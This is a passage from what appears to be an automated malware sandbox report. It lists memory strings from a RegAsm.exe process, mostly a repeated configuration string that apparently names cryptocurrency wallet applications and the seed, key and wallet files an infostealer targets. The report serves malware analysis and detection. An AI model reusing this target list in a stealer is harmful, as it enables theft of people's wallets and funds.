Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000F.00000002.2759155964.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: exodus.conf.json
Source: RegAsm.exe	String found in binary or memory: \Exodus\
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000F.00000002.2759155964.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe	String found in binary or memory: \Exodus\
Source: RegAsm.exe, 0000000F.00000002.2763045880.000000000148F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet 